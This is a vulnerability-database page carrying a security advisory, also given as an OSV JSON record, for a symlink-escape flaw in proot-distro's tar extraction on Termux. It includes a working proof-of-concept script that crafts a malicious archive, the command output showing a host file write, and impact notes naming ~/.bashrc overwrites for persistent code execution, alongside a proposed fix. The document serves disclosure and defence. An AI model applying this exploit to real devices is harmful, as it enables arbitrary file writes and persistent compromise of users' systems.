GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

PYSEC-2026-3608

Vulnerability from pysec - Published: 2026-08-04 11:34 - Updated: 2026-08-04 13:36
VLAI
Details

Repository: termux/proot-distro
Component: proot_distro/commands/install.py_extract_plain_tar(); also helpers/docker.py_apply_layer()


Affected Versions

Component Version
proot-distro 5.0.2 (confirmed vulnerable)
Termux app 0.119.0-beta.3
Device / ABI Samsung Galaxy A23 / aarch64
Python (host) 3.13

Vulnerability Description

proot-distro install extracts a plain tarball rootfs by calling _extract_plain_tar() in proot_distro/commands/install.py. This function correctly rejects tar member names containing .. components, but applies no equivalent check on symlink targets (member.linkname). A tar archive can therefore:

  1. Plant a symlink inside the rootfs whose target is an absolute host path (e.g. /data/data/com.termux/files/home).
  2. Write a subsequent regular-file member whose path traverses through that symlink name.

Python's open() follows the symlink, writing the file on the host filesystem at the privilege level of the Termux process — entirely during proot-distro install, before the container is ever run.

The same _extract_plain_tar function is reachable via proot-distro reset, and the equivalent _apply_layer in helpers/docker.py contains the same flaw.


Vulnerable Code

proot_distro/commands/install.py, _extract_plain_tar():

elif member.issym():
    # linkname taken verbatim from archive — no validation of target
    os.symlink(member.linkname, dest)        # ← symlink planted on host

elif member.isreg():
    dest = os.path.join(rootfs_dir, rel_path)
    with open(dest, 'wb') as out:            # ← follows symlink above
        ...

The existing traversal guard only covers member names:

if any(p in ('..', '') for p in rel_parts):
    continue  # only checks the name, not the symlink target

There is no check on member.linkname. An absolute symlink target bypasses this guard entirely.

Check Member name (rel_path) Symlink target (member.linkname)
Reject .. components
Confirm stays inside rootfs_dir

Proof of Concept

Step 1 — Craft a malicious archive

# craft_evil_layer.py
import tarfile, io, hashlib

PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:

    # Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home
    sym = tarfile.TarInfo(name='escape')
    sym.type = tarfile.SYMTYPE
    sym.linkname = '/data/data/com.termux/files/home'
    tf.addfile(sym)

    # Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS
    reg = tarfile.TarInfo(name='escape/POC_SUCCESS')
    reg.size = len(PAYLOAD)
    tf.addfile(reg, io.BytesIO(PAYLOAD))

data = buf.getvalue()
with open('evil.tar.gz', 'wb') as f:
    f.write(data)

print("Created evil.tar.gz")
print("sha256:", hashlib.sha256(data).hexdigest())

Step 2 — Install the archive

$ python craft_evil_layer.py
Created evil.tar.gz
sha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57

$ proot-distro install ./evil.tar.gz
[*] Installing from 'evil.tar.gz' as 'evil'...
[*] Extracting rootfs from archive...
[*] Finished installation.

Step 3 — Verify proot-distro version

$ pkg show proot-distro | grep Version
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

Version: 5.0.2

Step 4 — Verify host write

$ cat ~/POC_SUCCESS
TERMUX_ESCAPE_SUCCESS

POC_SUCCESS was written directly into the host Termux $HOME during installation, with no container login required.


Impact

  • Arbitrary host file write at the full privilege of the Termux process, triggered solely by proot-distro install — no container interaction required.
  • A malicious .tar.gz / .tar.xz / .tgz archive delivered via a file download, CI artifact, or compromised mirror is sufficient to exploit this.
  • Practical payloads include overwriting ~/.bashrc, ~/.profile, $PREFIX/etc/bash.bashrc, or any file in the Termux home/prefix, achieving persistent code execution the next time the user opens a shell.
  • Also reachable via proot-distro reset if the malicious archive is reused, and via _apply_layer in helpers/docker.py.

Root Cause

_extract_plain_tar validates member names against .. traversal but places no restriction on symlink targets. The two vectors are treated asymmetrically:

Check Member name (rel_path) Symlink target (member.linkname)
Reject .. components
Confirm stays inside rootfs_dir

The member-name check (any(p in ('..', '') for p in rel_parts)) is necessary but not sufficient: a symlink with an absolute target bypasses it entirely.


Proposed Fix

Add a guard that rejects any symlink whose resolved target falls outside rootfs_dir. Apply in both _extract_plain_tar and _apply_layer:

def _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -> bool:
    """Return True only if the symlink target resolves inside rootfs_dir."""
    if os.path.isabs(linkname):
        return False  # absolute targets always escape on the host
    resolved = os.path.normpath(os.path.join(os.path.dirname(dest), linkname))
    real_root = os.path.realpath(rootfs_dir)
    real_resolved = (os.path.realpath(resolved) if os.path.exists(resolved)
                     else os.path.normpath(resolved))
    return real_resolved.startswith(real_root + os.sep) or real_resolved == real_root

Then in _extract_plain_tar:

elif member.issym():
    if not _is_safe_symlink(rootfs_dir, dest, member.linkname):
        continue  # drop unsafe symlink
    if os.path.lexists(dest):
        ...
    os.symlink(member.linkname, dest)

Apply the identical guard inside _apply_layer in helpers/docker.py.

Note: A stricter alternative — matching Docker's own behavior — is to rewrite absolute symlink targets to relative paths within the rootfs rather than dropping them, to avoid breaking legitimate images that use absolute intra-rootfs symlinks such as /usr/lib → /lib.


Confirmed on proot-distro 5.0.2, Termux on Android/aarch64.
Maintainer: @sylirre — report via GitHub Security Advisory on the termux/proot-distro repository.

Impacted products
Name purl
proot-distro pkg:pypi/proot-distro

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "proot-distro",
        "purl": "pkg:pypi/proot-distro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "5.0.0",
        "5.0.0b1",
        "5.0.0b2",
        "5.0.0b3",
        "5.0.0b4",
        "5.0.0b5",
        "5.0.1",
        "5.0.2",
        "5.1.0",
        "5.1.1",
        "5.1.2",
        "5.1.3",
        "5.1.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54574",
    "GHSA-9xq3-3fqg-4vg7"
  ],
  "details": "**Repository:** `termux/proot-distro`  \n**Component:** `proot_distro/commands/install.py` \u2192 `_extract_plain_tar()`; also `helpers/docker.py` \u2192 `_apply_layer()`    \n\n---\n\n## Affected Versions\n\n| Component     | Version                      |\n|---------------|------------------------------|\n| proot-distro  | 5.0.2 (confirmed vulnerable) |\n| Termux app    | 0.119.0-beta.3               |\n| Device / ABI  | Samsung Galaxy A23 / aarch64 |\n| Python (host) | 3.13                         |\n\n---\n\n## Vulnerability Description\n\n`proot-distro install` extracts a plain tarball rootfs by calling `_extract_plain_tar()` in\n`proot_distro/commands/install.py`. This function correctly rejects tar member **names**\ncontaining `..` components, but applies **no equivalent check on symlink targets**\n(`member.linkname`). A tar archive can therefore:\n\n1. Plant a symlink inside the rootfs whose target is an **absolute host path**\n   (e.g. `/data/data/com.termux/files/home`).\n2. Write a subsequent regular-file member whose path traverses through that symlink name.\n\nPython\u0027s `open()` follows the symlink, writing the file **on the host filesystem** at the\nprivilege level of the Termux process \u2014 entirely during `proot-distro install`, before the\ncontainer is ever run.\n\nThe same `_extract_plain_tar` function is reachable via `proot-distro reset`, and the\nequivalent `_apply_layer` in `helpers/docker.py` contains the same flaw.\n\n---\n\n## Vulnerable Code\n\n**`proot_distro/commands/install.py`**, `_extract_plain_tar()`:\n\n```python\nelif member.issym():\n    # linkname taken verbatim from archive \u2014 no validation of target\n    os.symlink(member.linkname, dest)        # \u2190 symlink planted on host\n\nelif member.isreg():\n    dest = os.path.join(rootfs_dir, rel_path)\n    with open(dest, \u0027wb\u0027) as out:            # \u2190 follows symlink above\n        ...\n```\n\nThe existing traversal guard only covers member **names**:\n\n```python\nif any(p in (\u0027..\u0027, \u0027\u0027) for p in rel_parts):\n    continue  # only checks the name, not the symlink target\n```\n\nThere is **no check on `member.linkname`**. An absolute symlink target bypasses this guard\nentirely.\n\n| Check                              | Member name (`rel_path`) | Symlink target (`member.linkname`) |\n|------------------------------------|:------------------------:|:----------------------------------:|\n| Reject `..` components             | \u2705                        | \u274c                                  |\n| Confirm stays inside `rootfs_dir`  | \u274c                        | \u274c                                  |\n\n---\n\n## Proof of Concept\n\n### Step 1 \u2014 Craft a malicious archive\n\n```python\n# craft_evil_layer.py\nimport tarfile, io, hashlib\n\nPAYLOAD = b\"TERMUX_ESCAPE_SUCCESS\\n\"\n\nbuf = io.BytesIO()\nwith tarfile.open(fileobj=buf, mode=\u0027w:gz\u0027) as tf:\n\n    # Plant symlink: \u003crootfs\u003e/escape \u2192 /data/data/com.termux/files/home\n    sym = tarfile.TarInfo(name=\u0027escape\u0027)\n    sym.type = tarfile.SYMTYPE\n    sym.linkname = \u0027/data/data/com.termux/files/home\u0027\n    tf.addfile(sym)\n\n    # Write file through symlink: \u003crootfs\u003e/escape/POC_SUCCESS \u2192 host ~/POC_SUCCESS\n    reg = tarfile.TarInfo(name=\u0027escape/POC_SUCCESS\u0027)\n    reg.size = len(PAYLOAD)\n    tf.addfile(reg, io.BytesIO(PAYLOAD))\n\ndata = buf.getvalue()\nwith open(\u0027evil.tar.gz\u0027, \u0027wb\u0027) as f:\n    f.write(data)\n\nprint(\"Created evil.tar.gz\")\nprint(\"sha256:\", hashlib.sha256(data).hexdigest())\n```\n\n### Step 2 \u2014 Install the archive\n\n```\n$ python craft_evil_layer.py\nCreated evil.tar.gz\nsha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57\n\n$ proot-distro install ./evil.tar.gz\n[*] Installing from \u0027evil.tar.gz\u0027 as \u0027evil\u0027...\n[*] Extracting rootfs from archive...\n[*] Finished installation.\n```\n\n### Step 3 \u2014 Verify proot-distro version\n\n```\n$ pkg show proot-distro | grep Version\nWARNING: apt does not have a stable CLI interface. Use with caution in scripts.\n\nVersion: 5.0.2\n```\n\n### Step 4 \u2014 Verify host write\n\n```\n$ cat ~/POC_SUCCESS\nTERMUX_ESCAPE_SUCCESS\n```\n\n`POC_SUCCESS` was written directly into the host Termux `$HOME` during installation,\nwith no container login required.\n\n---\n\n## Impact\n\n- **Arbitrary host file write** at the full privilege of the Termux process, triggered solely\n  by `proot-distro install` \u2014 no container interaction required.\n- A malicious `.tar.gz` / `.tar.xz` / `.tgz` archive delivered via a file download, CI\n  artifact, or compromised mirror is sufficient to exploit this.\n- Practical payloads include overwriting `~/.bashrc`, `~/.profile`,\n  `$PREFIX/etc/bash.bashrc`, or any file in the Termux home/prefix, achieving **persistent\n  code execution** the next time the user opens a shell.\n- Also reachable via `proot-distro reset` if the malicious archive is reused, and via\n  `_apply_layer` in `helpers/docker.py`.\n\n---\n\n## Root Cause\n\n`_extract_plain_tar` validates member **names** against `..` traversal but places no\nrestriction on symlink **targets**. The two vectors are treated asymmetrically:\n\n| Check                              | Member name (`rel_path`) | Symlink target (`member.linkname`) |\n|------------------------------------|:------------------------:|:----------------------------------:|\n| Reject `..` components             | \u2705                        | \u274c                                  |\n| Confirm stays inside `rootfs_dir`  | \u274c                        | \u274c                                  |\n\nThe member-name check (`any(p in (\u0027..\u0027, \u0027\u0027) for p in rel_parts)`) is necessary but not\nsufficient: a symlink with an absolute target bypasses it entirely.\n\n---\n\n## Proposed Fix\n\nAdd a guard that rejects any symlink whose resolved target falls outside `rootfs_dir`.\nApply in both `_extract_plain_tar` and `_apply_layer`:\n\n```python\ndef _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -\u003e bool:\n    \"\"\"Return True only if the symlink target resolves inside rootfs_dir.\"\"\"\n    if os.path.isabs(linkname):\n        return False  # absolute targets always escape on the host\n    resolved = os.path.normpath(os.path.join(os.path.dirname(dest), linkname))\n    real_root = os.path.realpath(rootfs_dir)\n    real_resolved = (os.path.realpath(resolved) if os.path.exists(resolved)\n                     else os.path.normpath(resolved))\n    return real_resolved.startswith(real_root + os.sep) or real_resolved == real_root\n```\n\nThen in `_extract_plain_tar`:\n\n```python\nelif member.issym():\n    if not _is_safe_symlink(rootfs_dir, dest, member.linkname):\n        continue  # drop unsafe symlink\n    if os.path.lexists(dest):\n        ...\n    os.symlink(member.linkname, dest)\n```\n\nApply the identical guard inside `_apply_layer` in `helpers/docker.py`.\n\n\u003e **Note:** A stricter alternative \u2014 matching Docker\u0027s own behavior \u2014 is to **rewrite**\n\u003e absolute symlink targets to relative paths within the rootfs rather than dropping them,\n\u003e to avoid breaking legitimate images that use absolute intra-rootfs symlinks such as\n\u003e `/usr/lib \u2192 /lib`.\n\n---\n\n*Confirmed on proot-distro 5.0.2, Termux on Android/aarch64.*  \n*Maintainer: @sylirre \u2014 report via GitHub Security Advisory on the `termux/proot-distro` repository.*",
  "id": "PYSEC-2026-3608",
  "modified": "2026-08-04T13:36:36.264120Z",
  "published": "2026-08-04T11:34:45.040773Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/security/advisories/GHSA-9xq3-3fqg-4vg7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/commit/a96d7a9667f38e45d812614852ee3915d1c0ae45"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/termux/proot-distro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/termux/proot-distro/releases/tag/v5.1.5"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/proot-distro"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9xq3-3fqg-4vg7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54574"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…